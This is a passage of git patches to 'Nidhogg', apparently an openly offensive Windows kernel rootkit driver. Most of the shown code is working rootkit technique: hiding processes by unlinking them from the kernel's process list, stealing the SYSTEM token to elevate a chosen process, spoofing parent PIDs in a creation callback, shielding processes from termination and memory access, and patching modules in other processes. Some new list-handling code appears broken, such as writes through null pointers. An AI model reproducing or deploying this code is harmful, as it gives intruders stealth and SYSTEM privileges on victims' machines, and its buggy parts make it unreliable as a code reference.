+ case IOCTL_NIDHOGG_QUERY_PROTECTED_PROCESSES:
{
auto size = stack->Parameters.DeviceIoControl.InputBufferLength;
@@ -331,10 +371,10 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
auto data = (ProcessesList*)Irp->AssociatedIrp.SystemBuffer;
AutoLock locker(pGlobals.Lock);
- data->PidsCount = pGlobals.Processes.PidsCount;
+ data->PidsCount = pGlobals.ProtectedProcesses.PidsCount;
- for (int i = 0; i < pGlobals.Processes.PidsCount; i++) {
- data->Pids[i] = pGlobals.Processes.Pids[i];
+ for (int i = 0; i < pGlobals.ProtectedProcesses.PidsCount; i++) {
+ data->Processes[i] = pGlobals.ProtectedProcesses.Processes[i];
}
len += sizeof(ProcessesList);
@@ -765,12 +805,13 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
auto data = (PatchedModule*)Irp->AssociatedIrp.SystemBuffer;
- if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0 || strlen((*data).Patch) == 0 ||
- data->Pid <= 0 || data->Pid == SYSTEM_PROCESS_PID) {
- KdPrint((DRIVER_PREFIX "Buffer is empty.\n"));
+ if (!data->FunctionName || !data->ModuleName || !data->Patch ||
+ data->Pid <= 0 || data->Pid == SYSTEM_PROCESS_PID || data->PatchLength <= 0) {
+ KdPrint((DRIVER_PREFIX "Buffer is invalid.\n"));
status = STATUS_INVALID_PARAMETER;
break;
}
+
status = PatchModule(data);
if (status == STATUS_SUCCESS) {
@@ -780,6 +821,7 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
KeRaiseIrql(prevIrql, &prevIrql);
}
+ len += sizeof(PatchedModule);
break;
}
@@ -808,8 +850,10 @@ void ClearAll() {
// Clearing the process array.
AutoLock processLocker(pGlobals.Lock);
- memset(&pGlobals.Processes.Pids, 0, sizeof(pGlobals.Processes.Pids));
- pGlobals.Processes.PidsCount = 0;
+ memset(&pGlobals.ProtectedProcesses.Processes, 0, sizeof(pGlobals.ProtectedProcesses.Processes));
+ memset(&pGlobals.SpoofedProcesses.Processes, 0, sizeof(pGlobals.SpoofedProcesses.Processes));
+ pGlobals.SpoofedProcesses.PidsCount = 0;
+ pGlobals.ProtectedProcesses.PidsCount = 0;
// Clearing the files array.
AutoLock filesLocker(fGlobals.Lock);
diff --git a/Nidhogg/Nidhogg.h b/Nidhogg/Nidhogg.h
index e2c3771..899a3c5 100644
--- a/Nidhogg/Nidhogg.h
+++ b/Nidhogg/Nidhogg.h
@@ -17,7 +17,7 @@
#define IOCTL_NIDHOGG_CLEAR_PROCESS_PROTECTION CTL_CODE(0x8000, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_NIDHOGG_HIDE_PROCESS CTL_CODE(0x8000, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_NIDHOGG_ELEVATE_PROCESS CTL_CODE(0x8000, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
-#define IOCTL_NIDHOGG_QUERY_PROCESSES CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_NIDHOGG_QUERY_PROTECTED_PROCESSES CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_NIDHOGG_PROTECT_FILE CTL_CODE(0x8000, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_NIDHOGG_UNPROTECT_FILE CTL_CODE(0x8000, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS)
@@ -53,6 +53,7 @@ typedef PPEB(NTAPI* tPsGetProcessPeb)(PEPROCESS Process);
// Globals.
PVOID registrationHandle = NULL;
+// --- ModuleUtils structs ----------------------------------------------------
struct DynamicImportedModulesGlobal {
tZwProtectVirtualMemory ZwProtectVirtualMemory;
tMmCopyVirtualMemory MmCopyVirtualMemory;
@@ -72,27 +73,45 @@ DynamicImportedModulesGlobal dimGlobals;
struct PatchedModule {
ULONG Pid;
- CHAR* Patch;
+ PVOID Patch;
+ ULONG PatchLength;
CHAR* FunctionName;
WCHAR* ModuleName;
};
+// ----------------------------------------------------------------------------
+
+// --- ProcessUtils structs ---------------------------------------------------
+struct Process {
+ int type;
+ ULONG ProcessPid;
+ ULONG SpoofedPid;
+};
+
+struct SpoofedProcessesList {
+ int PidsCount;
+ Process* Processes[MAX_PIDS];
+};
struct ProcessesList {
int PidsCount;
- ULONG Pids[MAX_PIDS];
+ ULONG Processes[MAX_PIDS];
};
struct ProcessGlobals {
- ProcessesList Processes;
+ ProcessesList ProtectedProcesses;
+ SpoofedProcessesList SpoofedProcesses;
FastMutex Lock;
void Init() {
- Processes.PidsCount = 0;
+ ProtectedProcesses.PidsCount = 0;
+ SpoofedProcesses.PidsCount = 0;
Lock.Init();
}
};
ProcessGlobals pGlobals;
+// ----------------------------------------------------------------------------
+// --- FilesUtils structs -----------------------------------------------------
struct FileItem {
int FileIndex;
WCHAR FilePath[MAX_PATH];
@@ -113,7 +132,9 @@ struct FileGlobals {
}
};
FileGlobals fGlobals;
+// ----------------------------------------------------------------------------
+// --- RegistryUtils structs --------------------------------------------------
struct RegItem {
int RegItemsIndex;
ULONG Type;
@@ -152,3 +173,4 @@ struct RegistryGlobals {
}
};
RegistryGlobals rGlobals;
+// ----------------------------------------------------------------------------
diff --git a/Nidhogg/ProcessUtils.hpp b/Nidhogg/ProcessUtils.hpp
index 0c70882..76fae9a 100644
--- a/Nidhogg/ProcessUtils.hpp
+++ b/Nidhogg/ProcessUtils.hpp
@@ -8,93 +8,245 @@
#define PROCESS_VM_READ 0x10
#define PROCESS_VM_OPERATION 8
+#define PROCESS_TYPE_PROTECTED 0
+#define PROCESS_TYPE_SPOOFED 1
+
+#define PROCESS_NOT_FOUND -1
+
+int FindProcess(Process* process);
+bool AddProcess(Process* process);
+bool RemoveProcess(Process* process);
+ULONG GetActiveProcessLinksOffset();
+void RemoveProcessLinks(PLIST_ENTRY current);
+UINT64 GetTokenOffset();
+
/*
* Description:
-* FindProcess is responsible for searching if a process exists in the list of protected processes.
+* OnPreOpenProcess is responsible for handling process access operations and remove certain permissions from protected processes.
*
* Parameters:
-* @pid [ULONG] -- PID to search.
+* @RegistrationContext [PVOID] -- Unused.
+* @Info [POB_PRE_OPERATION_INFORMATION] -- Contains important information such as process name, handle to the process, process type, etc.
*
* Returns:
-* @status [bool] -- Whether found or not.
+* @status [NTSTATUS] -- Always OB_PREOP_SUCCESS.
*/
-bool FindProcess(ULONG pid) {
- for (int i = 0; i < pGlobals.Processes.PidsCount; i++)
- if (pGlobals.Processes.Pids[i] == pid)
- return true;
- return false;
+OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID /* RegistrationContext */, POB_PRE_OPERATION_INFORMATION Info) {
+ Process process;
+ if (Info->KernelHandle)
+ return OB_PREOP_SUCCESS;
+
+ auto Process = (PEPROCESS)Info->Object;
+ auto pid = HandleToULong(PsGetProcessId(Process));
+
+ process.ProcessPid = pid;
+ process.type = PROCESS_TYPE_PROTECTED;
+
+ AutoLock locker(pGlobals.Lock);
+
+ // If the process was found on the list, remove permissions for dump / write process memory and kill the process.
+ if (FindProcess(&process) != PROCESS_NOT_FOUND) {
+ Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_OPERATION;
+ Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_READ;
+ Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_CREATE_THREAD;
+ Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_DUP_HANDLE;
+ Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
+ }
+
+ return OB_PREOP_SUCCESS;
+}
+
+void OnProcessNotify(PEPROCESS LoadedProcess, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo) {
+ UNREFERENCED_PARAMETER(LoadedProcess);
+
+ int index;
+ Process process;
+
+ if (CreateInfo) {
+ process.ProcessPid = (ULONG)ProcessId;
+ process.SpoofedPid = (ULONG)CreateInfo->ParentProcessId;
+ process.type = PROCESS_TYPE_SPOOFED;
+
+ index = FindProcess(&process);
+
+ if (index != PROCESS_NOT_FOUND) {
+ CreateInfo->ParentProcessId = (HANDLE)pGlobals.SpoofedProcesses.Processes[index]->SpoofedPid;
+ KdPrint((DRIVER_PREFIX "Spoofed PID for %d.\n", (ULONG)ProcessId));
+ }
+ }
}
/*
* Description:
-* AddProcess is responsible for adding a process to the list of protected processes.
+* HideProcess is responsible for hiding a process by modifying the process list.
*
* Parameters:
-* @pid [ULONG] -- PID to add.
+* @pid [ULONG] -- PID to hide.
*
* Returns:
-* @status [bool] -- Whether successfully added or not.
+* @status [NTSTATUS] -- Whether successfully hidden or not.
*/
-bool AddProcess(ULONG pid) {
- for (int i = 0; i < MAX_PIDS; i++)
- if (pGlobals.Processes.Pids[i] == 0) {
- pGlobals.Processes.Pids[i] = pid;
- pGlobals.Processes.PidsCount++;
- return true;
+NTSTATUS HideProcess(ULONG pid) {
+ // Getting the offset depending on the OS version.
+ ULONG pidOffset = GetActiveProcessLinksOffset();
+
+ if (pidOffset == STATUS_UNSUCCESSFUL) {
+ return STATUS_UNSUCCESSFUL;
+ }
+ ULONG listOffset = pidOffset + sizeof(INT_PTR);
+
+ // Enumerating the EPROCESSes and finding the target pid.
+ PEPROCESS currentEProcess = PsGetCurrentProcess();
+ PLIST_ENTRY currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset);
+ PUINT32 currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset);
+
+ if (*(UINT32*)currentPid == pid) {
+ RemoveProcessLinks(currentList);
+ return STATUS_SUCCESS;
+ }
+
+ PEPROCESS StartProcess = currentEProcess;
+
+ currentEProcess = (PEPROCESS)((ULONG_PTR)currentList->Flink - listOffset);
+ currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset);
+ currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset);
+
+ while ((ULONG_PTR)StartProcess != (ULONG_PTR)currentEProcess)
+ {
+ if (*(UINT32*)currentPid == pid) {
+ RemoveProcessLinks(currentList);
+ return STATUS_SUCCESS;
}
- return false;
+
+ currentEProcess = (PEPROCESS)((ULONG_PTR)currentList->Flink - listOffset);
+ currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset);
+ currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset);
+ }
+
+ return STATUS_SUCCESS;
}
/*
* Description:
-* RemoveProcess is responsible for remove a process from the list of protected processes.
+* ElevateProcess is responsible for stealing a token from the SYSTEM process and giving it to other process.
*
* Parameters:
-* @pid [ULONG] -- PID to remove.
+* @pid [ULONG] -- PID to elevate.
*
* Returns:
-* @status [bool] -- Whether successfully removed or not.
+* @status [NTSTATUS] -- Whether successfully elevated or not.
*/
-bool RemoveProcess(ULONG pid) {
- for (int i = 0; i < pGlobals.Processes.PidsCount; i++)
- if (pGlobals.Processes.Pids[i] == pid) {
- pGlobals.Processes.Pids[i] = 0;
- pGlobals.Processes.PidsCount--;
- return true;
- }
- return false;
+NTSTATUS ElevateProcess(ULONG targetPid) {
+ PEPROCESS privilegedProcess, targetProcess;
+ NTSTATUS status = STATUS_SUCCESS;
+
+ // Getting the EProcess of the target and the privileged processes.
+ status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &targetProcess);
+ UINT64 tokenOffset = GetTokenOffset();
+
+ if (!NT_SUCCESS(status))
+ {
+ return status;
+ }
+ status = PsLookupProcessByProcessId(ULongToHandle(SYSTEM_PROCESS_PID), &privilegedProcess);
+
+ if (!NT_SUCCESS(status))
+ {
+ ObDereferenceObject(targetProcess);
+ return status;
+ }
+
+ * (UINT64*)((UINT64)targetProcess + tokenOffset) = *(UINT64*)(UINT64(privilegedProcess) + tokenOffset);
+
+ ObDereferenceObject(privilegedProcess);
+ ObDereferenceObject(targetProcess);
+ return status;
}
/*
* Description:
-* OnPreOpenProcess is responsible for handling process access operations and remove certain permissions from protected processes.
+* FindProcess is responsible for searching if a process exists in the list of protected processes.
*
* Parameters:
-* @RegistrationContext [PVOID] -- Unused.
-* @Info [POB_PRE_OPERATION_INFORMATION] -- Contains important information such as process name, handle to the process, process type, etc.
+* @pid [ULONG] -- PID to search.
*
* Returns:
-* @status [NTSTATUS] -- Always OB_PREOP_SUCCESS.
+* @status [bool] -- Whether found or not.
*/
-OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID /* RegistrationContext */, POB_PRE_OPERATION_INFORMATION Info) {
- if (Info->KernelHandle)
- return OB_PREOP_SUCCESS;
-
- auto Process = (PEPROCESS)Info->Object;
- auto pid = HandleToULong(PsGetProcessId(Process));
-
- AutoLock locker(pGlobals.Lock);
+int FindProcess(Process* process) {
+ if (process->type == PROCESS_TYPE_PROTECTED) {
+ for (int i = 0; i < pGlobals.ProtectedProcesses.PidsCount; i++)
+ if (pGlobals.ProtectedProcesses.Processes[i] == process->ProcessPid)
+ return i;
+ }
+ else if (process->type == PROCESS_TYPE_SPOOFED) {
+ for (int i = 0; i < pGlobals.SpoofedProcesses.PidsCount; i++)
+ if (pGlobals.SpoofedProcesses.Processes[i]->ProcessPid == process->SpoofedPid)
+ return i;
+ }
+ return PROCESS_NOT_FOUND;
+}
- // If the process was found on the list, remove permissions for dump / write process memory and kill the process.
- if (FindProcess(pid)) {
- Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_OPERATION;
- Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_READ;
- Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_CREATE_THREAD;
- Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_DUP_HANDLE;
- Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
+/*
+* Description:
+* AddProcess is responsible for adding a process to the list of protected processes.
+*
+* Parameters:
+* @pid [ULONG] -- PID to add.
+*
+* Returns:
+* @status [bool] -- Whether successfully added or not.
+*/
+bool AddProcess(Process* process) {
+ if (process->type == PROCESS_TYPE_PROTECTED) {
+ for (int i = 0; i < MAX_PIDS; i++)
+ if (pGlobals.ProtectedProcesses.Processes[i] == 0) {
+ pGlobals.ProtectedProcesses.Processes[i] = process->ProcessPid;
+ pGlobals.ProtectedProcesses.PidsCount++;
+ return true;
+ }
}
+ else if (process->type == PROCESS_TYPE_SPOOFED) {
+ for (int i = 0; i < MAX_PIDS; i++)
+ if (pGlobals.SpoofedProcesses.Processes[i] == nullptr || pGlobals.SpoofedProcesses.Processes[i]->ProcessPid == 0) {
+ pGlobals.SpoofedProcesses.Processes[i]->ProcessPid = process->ProcessPid;
+ pGlobals.SpoofedProcesses.Processes[i]->SpoofedPid = process->SpoofedPid;
+ pGlobals.ProtectedProcesses.PidsCount++;
+ return true;
+ }
+ }
+ return false;
+}
- return OB_PREOP_SUCCESS;
+/*
+* Description:
+* RemoveProcess is responsible for remove a process from the list of protected processes.
+*
+* Parameters:
+* @pid [ULONG] -- PID to remove.
+*
+* Returns:
+* @status [bool] -- Whether successfully removed or not.
+*/
+bool RemoveProcess(Process* process) {
+ if (process->type == PROCESS_TYPE_PROTECTED) {
+ for (int i = 0; i < MAX_PIDS; i++)
+ if (pGlobals.ProtectedProcesses.Processes[i] == 0) {
+ pGlobals.ProtectedProcesses.Processes[i] = 0;
+ pGlobals.ProtectedProcesses.PidsCount--;
+ return true;
+ }
+ }
+ else if (process->type == PROCESS_TYPE_SPOOFED) {
+ for (int i = 0; i < MAX_PIDS; i++)
+ if (pGlobals.SpoofedProcesses.Processes[i] == nullptr) {
+ pGlobals.SpoofedProcesses.Processes[i]->ProcessPid = 0;
+ pGlobals.SpoofedProcesses.Processes[i]->SpoofedPid = 0;
+ pGlobals.ProtectedProcesses.PidsCount--;
+ return true;
+ }
+ }
+ return false;
}
/*
@@ -132,13 +284,13 @@ ULONG GetActiveProcessLinksOffset() {
break;
}
}
-
+
return activeProcessLinks;
}
/*
* Description:
-* RemoveProcessLinks is responsible for modifying the list by connecting the previous entry to the next entry and by
+* RemoveProcessLinks is responsible for modifying the list by connecting the previous entry to the next entry and by
* that "removing" the current entry.
*
* Parameters:
@@ -153,15 +305,15 @@ void RemoveProcessLinks(PLIST_ENTRY current) {
/*
* Changing the list from:
* Prev <--> Current <--> Next
- *
+ *
* To:
- *
+ *
* | ----------------------------------
* v |
* Prev Current Next
* | ^
* ---------------------------------- |
- */
+ */
previous = (current->Blink);
next = (current->Flink);
@@ -174,56 +326,6 @@ void RemoveProcessLinks(PLIST_ENTRY current) {
current->Flink = (PLIST_ENTRY)¤t->Flink;
}
-/*
-* Description:
-* HideProcess is responsible for hiding a process by modifying the process list.
-*
-* Parameters:
-* @pid [ULONG] -- PID to hide.
-*
-* Returns:
-* @status [NTSTATUS] -- Whether successfully hidden or not.
-*/
-NTSTATUS HideProcess(ULONG pid) {
- // Getting the offset depending on the OS version.
- ULONG pidOffset = GetActiveProcessLinksOffset();
-
- if (pidOffset == STATUS_UNSUCCESSFUL) {
- return STATUS_UNSUCCESSFUL;
- }
- ULONG listOffset = pidOffset + sizeof(INT_PTR);
-
- // Enumerating the EPROCESSes and finding the target pid.
- PEPROCESS currentEProcess = PsGetCurrentProcess();
- PLIST_ENTRY currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset);
- PUINT32 currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset);
-
- if (*(UINT32*)currentPid == pid) {
- RemoveProcessLinks(currentList);
- return STATUS_SUCCESS;
- }
-
- PEPROCESS StartProcess = currentEProcess;
-
- currentEProcess = (PEPROCESS)((ULONG_PTR)currentList->Flink - listOffset);
- currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset);
- currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset);
-
- while ((ULONG_PTR)StartProcess != (ULONG_PTR)currentEProcess)
- {
- if (*(UINT32*)currentPid == pid) {
- RemoveProcessLinks(currentList);
- return STATUS_SUCCESS;
- }
-
- currentEProcess = (PEPROCESS)((ULONG_PTR)currentList->Flink - listOffset);
- currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset);
- currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset);
- }
-
- return STATUS_SUCCESS;
-}
-
/*
* Description:
* GetTokenOffset is responsible for getting the main thread's token offset depends on the windows version.
@@ -262,40 +364,3 @@ UINT64 GetTokenOffset() {
return tokenOffset;
}
-
-/*
-* Description:
-* ElevateProcess is responsible for stealing a token from the SYSTEM process and giving it to other process.
-*
-* Parameters:
-* @pid [ULONG] -- PID to elevate.
-*
-* Returns:
-* @status [NTSTATUS] -- Whether successfully elevated or not.
-*/
-NTSTATUS ElevateProcess(ULONG targetPid) {
- PEPROCESS privilegedProcess, targetProcess;
- NTSTATUS status = STATUS_SUCCESS;
-
- // Getting the EProcess of the target and the privileged processes.
- status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &targetProcess);
- UINT64 tokenOffset = GetTokenOffset();
-
- if (!NT_SUCCESS(status))
- {
- return status;
- }
- status = PsLookupProcessByProcessId(ULongToHandle(SYSTEM_PROCESS_PID), &privilegedProcess);
-
- if (!NT_SUCCESS(status))
- {
- ObDereferenceObject(targetProcess);
- return status;
- }
-
- * (UINT64*)((UINT64)targetProcess + tokenOffset) = *(UINT64*)(UINT64(privilegedProcess) + tokenOffset);
-
- ObDereferenceObject(privilegedProcess);
- ObDereferenceObject(targetProcess);
- return status;
-}
From f692aa44acc5b54b04a8dfef3a6f860390a1cca9 Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Sun, 16 Oct 2022 17:28:48 +0300
Subject: [PATCH 10/10] Removed unused header file
---
Nidhogg/Nidhogg.vcxproj | 1 -
Nidhogg/Nidhogg.vcxproj.filters | 3 ---
Nidhogg/NidhoggHelperFunctions.hpp | 43 ------------------------------
Nidhogg/NidhoggUtils.h | 1 -
4 files changed, 48 deletions(-)
delete mode 100644 Nidhogg/NidhoggHelperFunctions.hpp
diff --git a/Nidhogg/Nidhogg.vcxproj b/Nidhogg/Nidhogg.vcxproj
index 52f46bd..d3c90ad 100644
--- a/Nidhogg/Nidhogg.vcxproj
+++ b/Nidhogg/Nidhogg.vcxproj
@@ -197,7 +197,6 @@
-
diff --git a/Nidhogg/Nidhogg.vcxproj.filters b/Nidhogg/Nidhogg.vcxproj.filters
index 93a04f3..717d403 100644
--- a/Nidhogg/Nidhogg.vcxproj.filters
+++ b/Nidhogg/Nidhogg.vcxproj.filters
@@ -49,9 +49,6 @@
Header Files
-
- Header Files
-
diff --git a/Nidhogg/NidhoggHelperFunctions.hpp b/Nidhogg/NidhoggHelperFunctions.hpp
deleted file mode 100644
index 15e8c39..0000000
--- a/Nidhogg/NidhoggHelperFunctions.hpp
+++ /dev/null
@@ -1,43 +0,0 @@
-#pragma once
-#include "pch.h"
-#include
-
-/*
-* Description:
-* wcisstr is responsible for comparing two wchar_t* and find if one contains the other (case insensitive).
-*
-* Parameters:
-* @haystack [wchar_t*] -- Possible container.
-* @needle [wchar_t*] -- Possible contained.
-*
-* Returns:
-* @status [bool] -- Whether haystack is contains needle.
-*/
-bool wcisstr(wchar_t* haystack, wchar_t* needle) {
- int j = 0;
- size_t index = wcslen(haystack) - wcslen(needle);
-
- auto needleInHaystackLen = (wcslen(needle) + 1) * sizeof(WCHAR);
- auto needleInHaystack = (WCHAR*)ExAllocatePoolWithTag(PagedPool, needleInHaystackLen, DRIVER_TAG);
-
- if (!needleInHaystack)
- return false;
-
- for (size_t i = index; i < wcslen(haystack); i++) {
- if (j >= wcslen(needle))
- break;
-
- needleInHaystack[j] = haystack[i];
- j++;
- }
-
- needleInHaystack[wcslen(needle)] = L'\0';
-
- if (_wcsicmp(needleInHaystack, needle) == 0) {
- ExFreePoolWithTag(needleInHaystack, DRIVER_TAG);
- return true;
- }
-
- ExFreePoolWithTag(needleInHaystack, DRIVER_TAG);
- return false;
-}
diff --git a/Nidhogg/NidhoggUtils.h b/Nidhogg/NidhoggUtils.h
index c9f487b..da72463 100644
--- a/Nidhogg/NidhoggUtils.h
+++ b/Nidhogg/NidhoggUtils.h
@@ -2,7 +2,6 @@
#include "pch.h"
#include "WindowsTypes.h"
#include "Nidhogg.h"
-#include "NidhoggHelperFunctions.hpp"
#include "ProcessUtils.hpp"
#include "FileUtils.hpp"
#include "RegistryUtils.hpp"